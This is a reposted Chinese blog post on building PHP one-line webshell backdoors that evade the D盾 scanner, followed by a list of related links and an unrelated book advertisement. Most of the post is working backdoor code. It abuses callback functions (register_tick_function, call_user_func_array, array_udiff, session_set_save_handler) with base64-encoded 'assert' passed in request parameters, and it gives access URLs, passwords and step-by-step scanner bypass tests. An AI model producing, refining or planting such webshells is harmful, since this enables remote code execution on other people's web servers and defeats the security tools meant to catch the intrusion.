内容简介:最近在研究PHP一句话后门,查阅了很多大佬的博客,并从中衍生出了一些可用的方法。现总结如下:
*本文原创作者:Gxian,本文属于FreeBuf原创奖励计划,未经许可禁止转载
最近在研究 PHP 一句话后门,查阅了很多大佬的博客,并从中衍生出了一些可用的方法。
现总结如下:
方案一:回调函数
回调函数:Callback (即call then back 被主函数调用运算后会返回主函数),是指通过函数参数传递到其它代码的,某一块可执行代码的引用。
已被D盾查杀的函数:
array_filter()
array_walk()
array_walk_recursive()
array_map()
registregister_shutdown_function();
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce() 可疑(级别2)
array_walk()
array_walk_recursive()
1.register_tick_function()
构造一句话:
<?php declare(ticks=1); register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']); ?>
访问URL:
IP/XXX.php?e=YXNzZXJ0
密码:a
2.变种call_user_func_array()
尝试模仿正常函数调用,定义一个简单的function:
<?php function newsSearch($para0){ $evil=$para0; $exec=$_GET['id']; call_user_func_array($exec,array($evil)); } newsSearch($_POST['tid']); ?>
使用D盾查杀。
0ops!!没过!!变量$exec被解析成了$GET["id"],但$evil没有被解析,猜测只要将$exec放在newSearch()函数外面用GET方法获取,就不会被D盾解析,编写新的shell:
<?php function newsSearch($para0,$para1){ $evil=$para0; call_user_func_array($para1,array($evil)); } $exec=base64_decode($_GET['id']); newsSearch($_POST['tid'],$exec); ?>
OK!完美绕过!
访问URL:
IP/XXX.php?id=YXNzZXJ0
密码:key
同样的方法可以使用 call_user_func
函数,构造 shell 如下:
<?php function newsSearch($para0,$para1){ $evil=$para0; call_user_func($para1,$evil); } $exec=base64_decode($_GET['id']); newsSearch($_POST['tid'],$exec); ?>
3.变种array_udiff()
用相同的方法构造使用array_udiff()的shell:
<?php function newsSearch($para0,$para1){ $evil=$para0; $exec=$para1; array_udiff($arr=array($evil),$arr1 = array(''),$exec); } $exec=base64_decode($_REQUEST['exec']); newsSearch($_POST['key'],$exec); ?>
访问URL:
IP/XXX.php?exec=YXNzZXJ0
密码:key
剩下的回调函数也可以用相同的方法绕过D盾。
4.session_set_save_handler
session_set_save_handler函数可以定义用户级的session保存函数(打开、保存、关闭),当我们想把session保存在本地的一个数据库中时,本函数就很有用了。
编写shell如下:
<?php error_reporting(0); $session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert function open($save_path, $session_name) // open第一个被调用,类似类的构造函数 {} function close() // close最后一个被调用,类似 类的析构函数 { } session_id($_REQUEST['op']);// 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op']) function write($id, $sess_data) {} function destroy($id) {} function gc() {} // 第三个参数为read read(string $sessionId) session_set_save_handler("open", "close", $session, "write", "destroy", "gc"); @session_start(); // 打开会话 ?>
使用D盾查杀。 $session被解析为assert,猜测D盾认为该函数的参数中不应该含有assert等敏感函数,否则就挂掉!把$session用GET输入试试:
$session=$_REQUEST['id'];
看来只要参数中含有敏感函数、GET、POST、REQUEST都会报错!
尝试创建一个用户函数,在函数中调用session_set_save_handler(),并将assert作为参数传入:
<?php error_reporting(0); //$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert function test($para){ session_set_save_handler("open", "close", $para, "write", "destroy", "gc"); @session_start(); // 打开会话 } $session=base64_decode($_REQUEST['id']); // open第一个被调用,类似类的构造函数 function open($save_path, $session_name) {} // close最后一个被调用,类似 类的析构函数 function close() { } // 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op']) session_id($_REQUEST['op']); function write($id, $sess_data) {} function destroy($id) {} function gc() {} // 第三个参数为read read(string $sessionId) test($session); ?>
完美绕过!
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 一句话木马的套路
- 一句话木马之常见十种过狗姿势测试
- 探索基于.NET下实现一句话木马之SVC篇
- 探索基于.NET下实现一句话木马之Asmx篇
- 探索基于.NET下实现一句话木马之asmx篇
- 利用动态二进制加密实现新型一句话木马之Java篇
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Numerical Recipes 3rd Edition
William H. Press、Saul A. Teukolsky、William T. Vetterling、Brian P. Flannery / Cambridge University Press / 2007-9-6 / GBP 64.99
Do you want easy access to the latest methods in scientific computing? This greatly expanded third edition of Numerical Recipes has it, with wider coverage than ever before, many new, expanded and upd......一起来看看 《Numerical Recipes 3rd Edition》 这本书的介绍吧!